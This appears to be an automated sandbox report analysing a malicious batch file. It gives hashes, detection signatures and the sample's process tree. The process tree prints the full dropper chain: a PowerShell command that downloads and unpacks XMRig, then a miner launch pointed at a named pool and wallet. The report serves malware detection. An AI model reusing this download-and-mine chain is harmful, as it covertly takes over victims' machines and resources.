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Analysis

  • max time kernel
    616s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    20/05/2024, 17:09

General

  • Target
    15.bat
  • Size 599B
  • Sample240520-vpdapsag41
  • SHA256 f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\15.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:32
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4536

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5711c99bb909310166ec5e5b493fb8933693bfa776f162f7e4228bf0c28dd3eb
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_rdgq1fpz.l5x.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rdgq1fpz.l5x.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.3-msvc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
        • Size 2.5MB
        • SHA256 713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
        • Size 6.1MB
        • SHA256 e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0
        • MD5 SHA1 SHA512 SSDEEP

        memory/32-10-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/32-0-0x00007FFE19733000-0x00007FFE19734000-memory.dmp

        memory/32-25-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/32-30-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/32-7-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/32-5-0x00000202DFD40000-0x00000202DFD62000-memory.dmp

        memory/32-9-0x00000202E0020000-0x00000202E0096000-memory.dmp

        memory/4428-38-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/4428-89-0x00000277566B0000-0x00000277566BA000-memory.dmp

        memory/4428-41-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/4428-76-0x0000027756920000-0x0000027756932000-memory.dmp

        memory/4428-63-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/4428-113-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/4428-36-0x00007FFE19730000-0x00007FFE1A11C000-memory.dmp

        memory/4536-117-0x00000250B1370000-0x00000250B1390000-memory.dmp